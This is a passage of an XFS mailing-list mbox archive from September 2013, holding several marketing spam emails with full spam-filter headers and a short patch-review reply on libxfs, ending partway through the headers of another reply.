1qPVidUdS5EKs29o01VBkjH4gRjILrXi+C3dpR/SN4FGRByAe4cK+YgoRd5eP1jEIoUOKEOljh0b o5GDpNSk8ZnKbCukCeBizBmFGFFG1ChaNO1amqYBO5Wyl/cB8Y8eAe4Xx5r9mTpRZFQ78/T9p8gu KsZB3ui1biT1IzBydKNigIis+ZnvEqVUKxSnfTt2D4iY2Haz0zn/egVw6ZMikGyF7nF4tVRVWpk0 s2NJ2qj1K0gc5O4kRJOF6/ZXSK057uxTJ9DRqfvGCALXYQGdk9xNcxJ8c2OwZxVrCy1p5pipY0j6 vmQOjSVlksgoqiLuSjFvJColR5lYjwKox0ojWMURUn2vaPrVph6seruiGnPY7Q+P0v8QqarLpwrX aNj0CIuQB43P6JXyhw1KnPjWeO7jvUCNeDeyM7IC1uzu5c5Zz3GeM7x8WvAdlMUTxr50sjlUgYAr 4IgUwbThh1LLCD2B8RqIryOBCrefBR8hWKcgm/E0LqJZISLj8DW1mzNBTrJRcL9fY2LjouGj0L/D Q3wcKh+ul5CGPpg4XxpcT9JXm7C6L+R5B4qnTzvPH9gClHGmSWdKjYoCn/70AAAAAAAAAK/0/tf+ H+Zx+ZnmRcVPwzZQx+nWlN4DnzhbRB3mq4w5/phztCHjUcfedrjvMnawPPHahf6UosIasfyI6doE lIomjgubFW7+xKO0CiUdXpQjdIrNfRqNPsfyuZV5UqfOVE3r+HztAfE8o4892+vPeHuT4kr/vaej /vQAAAAAAAAK99PJD6NAc/iTDvPaTqnfSa8c/LUqrvqqwHefGP+4AViixHP6CP+jfu9oS2dXrpRY zn31ZChCWWUF8LMbvT3ZyxhC0AxBaTd+lWsoYzgJkKGUEQMwM4NANKOGsobAbQbgbwcAcSo9g4uh 08uv/VgPbsPcx40DehRQ5Y0UiL/DBXElnqcDJ6IlPN0ke7C2o5Orgm9YexEOx22LpY8k2WuCF/tg oCPnknBBF8NhqdtaZibbjBiiRQokf4q+McPHZMF8y4Ucs3+vefWM/kaKEE8jlvosGTcgCIF9LBbG OHzs2i+ZGzSwGy0t7mYM4Em4kSIvqGPIYwkEoR7ihFlldwYv9B+Wwq1LrGO/8ZEbUYgqd3+xF8LU kDh4m4cUzcYJ/GoG/i/ywVSbrs/x44jaREV+x/pHC6nf4Nwv5Yr548NPiUoGqgq/W2TvA3/i73k8 E/4fGhrXbhtC3NlsZ0SJoMYLVwuZKJ5i76ZlWSeyD5MHgYWKj2RtF5W7YYIX/egV5f/8QMQ9ewBA BwA= ------=_NextPart_000_11D3_01CEAEC1.A7744860-- From ushaemarketing1@gmail.com Wed Sep 11 01:13:53 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.5 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,MIME_QP_LONG_LINE,MPART_ALT_DIFF autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0320D7F52 for ; Wed, 11 Sep 2013 01:13:53 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id AA56D8F804C for ; Tue, 10 Sep 2013 23:13:49 -0700 (PDT) X-ASG-Debug-ID: 1378880024-04bdf02f22f28ab0001-w1Z2WR Received: from test.com ([198.16.61.60]) by cuda.sgi.com with ESMTP id HugInfsUjIohliOa for ; Tue, 10 Sep 2013 23:13:44 -0700 (PDT) X-Barracuda-Envelope-From: ushaemarketing1@gmail.com X-Barracuda-Apparent-Source-IP: 198.16.61.60 Received: from VIVEK ([116.73.52.85]) by test.com with MailEnable ESMTP; Tue, 10 Sep 2013 23:13:53 -0700 Message-ID: <410-2201393116134231@VIVEK> To: "Sairam" From: "SNT-InfoTech/13/India" Subject: 09/10/2013:Web Designing/SEO services company (Digital Media Agency) Date: Wed, 11 Sep 2013 11:43:42 +0500 X-ASG-Orig-Subj: 09/10/2013:Web Designing/SEO services company (Digital Media Agency) MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_1165814081163436134262" X-Barracuda-Connect: UNKNOWN[198.16.61.60] X-Barracuda-Start-Time: 1378880024 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.58 X-Barracuda-Spam-Status: No, SCORE=1.58 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=ADVANCE_FEE_1, BSF_SC0_MISMATCH_TO, BSF_SC0_MV0224, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, BSF_SC0_TG035a, HTML_MESSAGE, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2, MPART_ALT_DIFF, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140515 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.50 BSF_SC0_MV0224 FULL: Custom rule MV0224 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars 0.00 BSF_SC0_TG035a Message contains invalid style definition 0.00 ADVANCE_FEE_1 Appears to be advance fee fraud (Nigerian 419) 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain ------=_NextPart_1165814081163436134262 Content-type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09= =09=09=09=09=09=09 ------=_NextPart_1165814081163436134262 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

Hi,=20

 

Greetings=20 from SNT InfoTech!

 

Like=20 many organizations and corporations/companies worldwide, your Company may = be=20 seeking a Digital=20 Media Agency for Web=20 Designing/SEO service too=2E

 

If=20 that's the case, SNT=20 Infotech would=20 like to offer itself as being worth a closer look=2E SNT=20 Infotech is=20 one of a leading and  long-established Web=20 Designing/SEO services company=20 (Digital Media Agency) in=20 India, with experience spanning diverse domains of business and public=20 life=2E

We=20 are Passionate, Innovative and Unwavering in our mission to deliver excell= ent=20 Designs and building Web Marketing Strategies=2E 

 

About=20 our SUPER Services 

          Whether=20 you are a fast-growing start-up or a billion dollar brick and mortar compa= ny,=20 our mission is the same: to make your online marketing efforts more=20 successful=2E SNT=20 Infotech approach=20 is akin to a symphony=2E We harmonize together complex, innovative organic= SEO,=20 cutting-edge Social Media, and rigorous Conversion Optimization=2E The res= ult=3F The=20 beautiful sound of more value being delivered from every dollar you spend=20= online=2E 
 

Looking for a Stunning Website=3F

  • Graphics=20
  • Static=20 HTML=20
  • Flash=20 Media=20
  • Corporate=20 Presentations=20
  • Identity=20 Kits

More than 200 Web 2=2E0 =20 Portals Delivered=2E

  • Web=20 2=2E0=20
  • CMS=20 Portals=20
  • E=20 Commerce=20
  • Web=20 Applications=20
  • Mobile=20 Applications

This is what we are made for=2E<= SPAN=20 style=3D"FONT-SIZE: 12pt; COLOR: black; FONT-FAMILY: 'Arial','sans-serif';= mso-fareast-font-family: 'Times New Roman'">

  • SEO=20
  • Paid=20 Marketing=20
  • Social=20 Media=20
  • Viral=20 Marketing

WEB Designing 

The Three Phases:

  • Research=20 and Planning=20
  • Design=20 and Prototyping=20
  • Production
Mobile application
 

SEO Approach 

  • Keyword =20 Research=20
  • On=20 =96 site Optimization=20
  • Content=20 Optimization=20
  • In=20 =96 bound Link Building

 

Our=20 website/portfolio link is available on request=2E

 

SNT=20 Infotech

India

Mobile:=20 +91 9869285315


IMPORTANT=20 NOTICE: CONFIDENTIAL AND LEGAL PRIVILEGE
This electronic communication = is=20 intended by the sender only for the access and use by the addressee and ma= y=20 contain legally privileged and confidential information=2E If you are not = the=20 addressee, you are notified that any transmission, disclosure, use, access= to,=20 storage or photocopying of this e-mail and any attachments is strictly=20 prohibited=2E The legal privilege and confidentiality attached to this e-m= ail and=20 any attachments is not waived, lost or destroyed by reason of a mistaken=20= delivery to you=2E If you have received this e-mail and any attachments in= error=20 please immediately delete it and all copies from your system and notify th= e=20 sender by e-mail to remove from the mailing list pl reply to :- ushaemarketing1@gmail=2Ecom

------=_NextPart_1165814081163436134262-- From newsletter@nhesitezpas.net Wed Sep 11 04:20:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.4 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY,T_DKIM_INVALID, T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E373E7F3F for ; Wed, 11 Sep 2013 04:20:40 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7D43BAC002 for ; Wed, 11 Sep 2013 02:20:40 -0700 (PDT) X-ASG-Debug-ID: 1378891236-04bdf02f22f360c0001-NocioJ Received: from nhesitezpas.net (rt.nhesitezpas.net [217.16.4.40]) by cuda.sgi.com with ESMTP id aymyM8o942u0lqIf for ; Wed, 11 Sep 2013 02:20:37 -0700 (PDT) X-Barracuda-Envelope-From: newsletter@nhesitezpas.net X-Barracuda-Apparent-Source-IP: 217.16.4.40 Received: from nhesitezpas.net (rt.nhesitezpas.net [127.0.0.1]) by nhesitezpas.net (Postfix) with ESMTP id 3C81DC002B4 for ; Wed, 11 Sep 2013 11:20:36 +0200 (CEST) DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=nhesitezpas.net; h=date:to :from:reply-to:subject:message-id:mime-version:content-type :content-transfer-encoding; s=mail; bh=eDC9KRDmnZqEKhD+CfGLvZ2y6 M4=; b=KG9XQgyMiSbunH2JGo2LSAKG+WzBnLdRX5y8P7tiwSJpN+h87DT305Pe0 7ZNxGatI9WuakXVXENvmFw+D3vYYcVRFR49OxrHw6cM13ibJTmerZTEowo34GMqy ayupxtBoDifksTMCOVuJYGDZWZVb2G7QfRFSYvoyl+kEZcu/Pg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=nhesitezpas.net; h=date:to :from:reply-to:subject:message-id:mime-version:content-type :content-transfer-encoding; q=dns; s=mail; b=BrJ+na6gMCk9AsM9T/W LQre7bab1kBV2zQtsyzb+nZ28e05qktOAXS7HKXVjdHQzuAhj8YGmUr0Y3WqzgRS dNKwbDyaARXndVbRbvrl7txW91FMg/3OgmMESeMMNZySQj6RcBAOYdPRomopeYKp UmM6e08oZkDg8xt3UCWtOMXQ= Received: from www.nhesitezpas.net (rt.nhesitezpas.net [127.0.0.1]) by nhesitezpas.net (Postfix) with ESMTP id 300FDC002B5 for ; Wed, 11 Sep 2013 11:20:36 +0200 (CEST) Date: Wed, 11 Sep 2013 11:20:36 +0200 To: xfs@oss.sgi.com From: magazine Vocable Reply-To: newsletter@nhesitezpas.net Subject: L'anglais, c'est comme le bronzage : pour l'entretenir, mieux vaut s'exposer Message-ID: <02950dd9233b30e12b3c9353cf1e43a3@www.nhesitezpas.net> X-ASG-Orig-Subj: L'anglais, c'est comme le bronzage : pour l'entretenir, mieux vaut s'exposer X-Priority: 3 X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net) MIME-Version: 1.0 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: rt.nhesitezpas.net[217.16.4.40] X-Barracuda-Start-Time: 1378891236 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.61 X-Barracuda-Spam-Status: No, SCORE=2.61 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_INVIS_TEXT_1K, BSF_SC0_MV0152, BSF_SC0_MV0154, DKIM_SIGNED, HTML_IMAGE_RATIO_02, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140518 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag 0.50 BSF_SC0_MV0152 Custom rule MV0152 0.50 BSF_SC0_MV0154 Custom rule MV0154 0.00 BSF_SC0_INVIS_TEXT_1K Custom Rule BSF_SC0_INVIS_TEXT_1K

=C2=A0bronzage : pour l'entretenir, mieux vaut s'e= xposerSi le message ci-dessous ne s'= affiche pas correctement, cliquez i=C3=A7i

=3D""

C'est la rentr=C3=A9e,
=C2=A0exposez vous =C3=A0 l=E2=80=99anglais=

Vos cours de langues sont loin ?
Vos connaissances se sont =C3=A9mo= uss=C3=A9es ?
Et pourtant, vous le savez, vous pouvez manquer une oppo= rtunit=C3=A9 professionnelle =C3=A0 cause d=E2=80=99un mauvais niveau d=E2= =80=99anglais.
Pour progresser en anglais, il faut pratiquer r=C3=A9gu= li=C3=A8rement.
C=E2=80=99est en =C3=A9tant expos=C3=A9 de fa=C3=A7on = r=C3=A9p=C3=A9t=C3=A9e que vous m=C3=A9morisez enfin la langue.

Offrez vous 23 s=C3=A9ances d=E2=80=99expo= sition =C3=A0 l=E2=80=99anglais.

3D""
*Imputable dans votre budget formation ou dans vos frais g=C3= =A9n=C3=A9raux.
3D= Depuis 30 ans, Vocable est un =C3=A9dit= eur sp=C3=A9cialis=C3=A9 dans l=E2=80=99apprentissage des langues. Sa m=C3= =A9thode =C2=A0 unique accompagne les entreprises avec succ=C3=A8s dans l= e d=C3=A9veloppement des comp=C3=A9tences =C2=A0 linguistiques des collab= orateurs. En savoir plus sur Vocable rendez-vous sur : www.vocable.fr. =C2= =A0 =C2=A0Pour tout renseignement info@vocable.fr ou appelez nous au 01.4= 4.37.97.81
= 3D""
Vocable est partena= ire du CMA, Comit=C3=A9 Mondial pour les Apprentissages tout au long de l= a vie (World Committee for LifeLong Learning). Cette ONG rattach=C3=A9e a= ux Nations Unies est partenaire de l=E2=80=99Unesco dans le d=C3=A9velopp= ement tant de l=E2=80=99enseignement que de la formation continue tout au= long de la vie. 3D=
Si vous ne souhaitez plus= recevoir de messages de notre part, cliquez sur ce lien
=C2=A0
3D"" 3D"" 3D"" 3D""

=C2=A0

From oryx.manpower786@gmail.com Wed Sep 11 06:10:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.3 required=5.0 tests=DEAR_SOMETHING, FREEMAIL_ENVFROM_END_DIGIT,FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID, T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D6AD57F3F for ; Wed, 11 Sep 2013 06:10:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 95B178F804C for ; Wed, 11 Sep 2013 04:10:43 -0700 (PDT) X-ASG-Debug-ID: 1378897840-04bdf02f21f3cc80001-w1Z2WR Received: from mail-qc0-f196.google.com (mail-qc0-f196.google.com [209.85.216.196]) by cuda.sgi.com with ESMTP id PLxnRLQlZNNb4eH4 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 11 Sep 2013 04:10:41 -0700 (PDT) X-Barracuda-Envelope-From: oryx.manpower786@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.216.196 X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.196] Received: by mail-qc0-f196.google.com with SMTP id x12so1639613qcv.7 for ; Wed, 11 Sep 2013 04:10:40 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.196] X-Barracuda-IPDD: Level1 [gmail.com/209.85.216.196] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=qwU9RjVyoKsQXRLfKR1gWFrPMbydhWI1gdyBrpp3Ehg=; b=YDBLciNrfLXu0FaJ/tsLkNSUdOjb+ui7GpL3ctJd+S4k91edL2wmVHUK6r/SxEyReN tX/ngScz/tt207W6OwSst5gZWxauSzcVx20jQ2G49DPk/01Ulhn8CYLWYQQE/0sBnc8v xiNCRX8MZqkfiQi+TIJBuHyaGHMEXvu+OPuwHxuYSRseOTAB8ndZ5nKgAC/E+UkZ7bm4 kThAjQBE/rP3oESoT6Jumx/WhCFXKsD6FsvCr2YyUD710cR+mq4qQOUOtJgHBpOyaMlw bRh5JhfNajY6ZydSYa4XHBvqX9xjyTjmfx6fodwqqWy8mZDZ+StggLMRBPkRaHhhNnIx /q0w== MIME-Version: 1.0 X-Received: by 10.49.50.7 with SMTP id y7mr1203793qen.45.1378891966366; Wed, 11 Sep 2013 02:32:46 -0700 (PDT) Received: by 10.49.88.99 with HTTP; Wed, 11 Sep 2013 02:32:46 -0700 (PDT) Date: Wed, 11 Sep 2013 16:02:46 +0630 Message-ID: Subject: Manpower from Myanmar and Vietnam From: Oryx Manpower X-ASG-Orig-Subj: Manpower from Myanmar and Vietnam To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=047d7bdc1a80d6e50f04e6184d80 X-Barracuda-Connect: mail-qc0-f196.google.com[209.85.216.196] X-Barracuda-Start-Time: 1378897841 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140520 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.00 HTML_MESSAGE BODY: HTML included in message --047d7bdc1a80d6e50f04e6184d80 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable *Dear Sir/ Ma=92am,* With due respect we warmly welcome you to Oryx International General Services Co., Ltd, the most trusted and professional Manpower Recruitment Company of the Golden Land of Myanmar (Burma). The hub of our operation is our cooperate headquarter in Yangon the commercial capital of Myanmar with overseas operation office in Vietnam does providing one window global recruitment solutions for all your employment needs. We provide the best quality of personals for Civil & Building Construction, Electrical & Mechanical Engineering Companies, Oil, Gas & Petro Chemical Industries and for many other sectors. Our specialization is also in the field of manpower supply to 5 Star Hotels and Resorts, Restaurants and Fast Food Chains, Supermarkets and Super Malls, Catering and Cleaning Companies, Cruise Lines and Shipping Companies= . As per our ongoing marketing development program our Group Chairman Mr. Sarfaraz Ahmed will be in Doha for 15 days starting September 12,2013 , and during this period will very much like to visit your office to discuss your present or future manpower requirement from Myanmar and Vietnam. In this connection we will be grateful and be obliged if you can grant him an appointment for any date and time most convenient to you. We will very much appreciate receiving your appointment confirmation by email to oryx786@gmail.com or Mr. Ahmed can also be reached on his Qatar mobile + 974 3387 8224. Thank you for your attention to this communication and look forward to your kind cooperation. Warm regards, -- *Win Ohnmar (Ms) ** **Executive Director* *Oryx International General Services Co., Ltd.** *Global Recruitment Solutions Room No.806, 8th Floor Yuzana Tower, Shwe Gone Taing Bahan Township, Yangon , Myanmar Tel : + 951 - 558398 H/P : + 959 - 430 - 66708 Fax : + 951 - 558398 Email : oryx786@gmail.com*, *oryxintl@gmail.com Website : www.oryxintel.com --047d7bdc1a80d6e50f04e6184d80 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable

Dear Sir/ Ma=92am= ,

=A0

With due respect we warmly welcome you to Oryx International General Services Co., L= td, the most trusted and professional Manpower Recruitment Company of the Golde= n Land of Myanmar (Burma).

=A0

The hub of our operation is our cooperate headquarter in Yangon the commercial capi= tal of Myanmar with overseas operation office in Vietnam does providing one win= dow global recruitment solutions for all your employment needs.

=A0

We provide the best quality of personals for Civil & Building Construction= , Electrical & Mechanical Engineering Companies, Oil, Gas & Petro Chemical Industries and for many other sectors.

=A0

Our specialization is also in the field of manpower supply to 5 Star Hotels and Resorts, Restaurants and Fast Food Chains, Supermarkets and Super Malls, Catering and Cleaning Companies, Cruise Lines and Shipping Companies.

=A0

As per our ongoing marketing development program our Group Chairman Mr. Sarfaraz A= hmed will be in Doha for 15 days starting September 12,2013 , and during this pe= riod will very much like to visit your office to discuss your present or future manpower requirement from Myanmar and Vietnam.

=A0

In this connection we will be grateful and be obliged if you can grant him an appointment for any date and time most convenient to you.

=A0

We will very much appreciate receiving your appointment confirmation by email to oryx786@gmail.com or Mr. Ahmed can also be reached on his Qatar mobile + 974 3387 8224.

=A0

Thank you for your attention to this communication and look forward to your kind cooperation.

=A0

=A0

Warm regards,

--=

Win Ohnmar (Ms)
Executive Director=A0

=A0

Oryx International Gener= al Services Co., Ltd.
Global Recruitment Solutions
Room No.806, 8th Floor
Yuzana Tower, Shwe Gone Taing
Bahan Township, Yangon , Myanmar
Tel=A0=A0=A0=A0=A0 : + 951 - 558398
H/P=A0=A0=A0=A0 : + 959 - 430 - 66708
Fax=A0 =A0 =A0 : + 951 - 558398
Email :
oryx786@gmail.com, <= span style=3D"font-size:13pt;font-family:"Cambria","serif&qu= ot;;color:rgb(84,141,212)">oryxintl@gmail.com=

Website : <= span style=3D"font-size:13pt;font-family:"Cambria","serif&qu= ot;">www.oryxintel.com

--047d7bdc1a80d6e50f04e6184d80-- From tinguely@sgi.com Wed Sep 11 08:25:24 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E09417F37 for ; Wed, 11 Sep 2013 08:25:24 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 986A08F8066; Wed, 11 Sep 2013 06:25:21 -0700 (PDT) Message-ID: <52306F3E.8060409@sgi.com> Date: Wed, 11 Sep 2013 08:25:18 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 31/55 V3] libxfs: switch over to xfs_sb.c and remove xfs_mount.c References: <1378332359-14737-1-git-send-email-david@fromorbit.com> <1378332359-14737-32-git-send-email-david@fromorbit.com> <522A1BCA.6010500@sgi.com> <20130906214021.GD12541@dastard> <522A4C79.1030200@sgi.com> <20130910010241.GZ12779@dastard> <522F289E.6070802@sgi.com> <20130910213249.GC19103@dastard> In-Reply-To: <20130910213249.GC19103@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/10/13 16:32, Dave Chinner wrote: > libxfs: switch over to xfs_sb.c and remove xfs_mount.c > > From: Dave Chinner > > Now that the kernel code has split the superblock specific code out > of xfs_mount.c, we don't need xfs_mount.c anymore. Copy in xfs_sb.c > and remove xfs_mount.c > > Signed-off-by: Dave Chinner > --- Applies clean for me. Reviewed-by: Mark Tinguely From BATV+a81576bb3b2da883fb26+3671+infradead.org+hch@bombadil.srs.infradead.org Wed Sep 11 08:55:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C02517F37 for ; Wed, 11 Sep 2013 08:55:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE67C304059 for ; Wed, 11 Sep 2013 06:55:04 -0700 (PDT) X-ASG-Debug-ID: 1378907703-04cbb02c3bf0bfc0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id v2FAqNduGlfzb49f (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Wed, 11 Sep 2013 06:55:03 -0700 (PDT) X-Barracuda-Envelope-From: BATV+a81576bb3b2da883fb26+3671+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VJkso-00062c-Rc; Wed, 11 Sep 2013 13:55:02 +0000 Date: Wed, 11 Sep 2013 06:55:02 -0700 From: Christoph Hellwig To: Mark Tinguely Cc: xfs@oss.sgi.com, Greg Banks Subject: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle Message-ID: <20130911135502.GA21898@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfs: change the immutable in xfs_open_by_handle References: <20130910184724.726933044@sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20130910184724.726933044@sgi.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1378907703 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 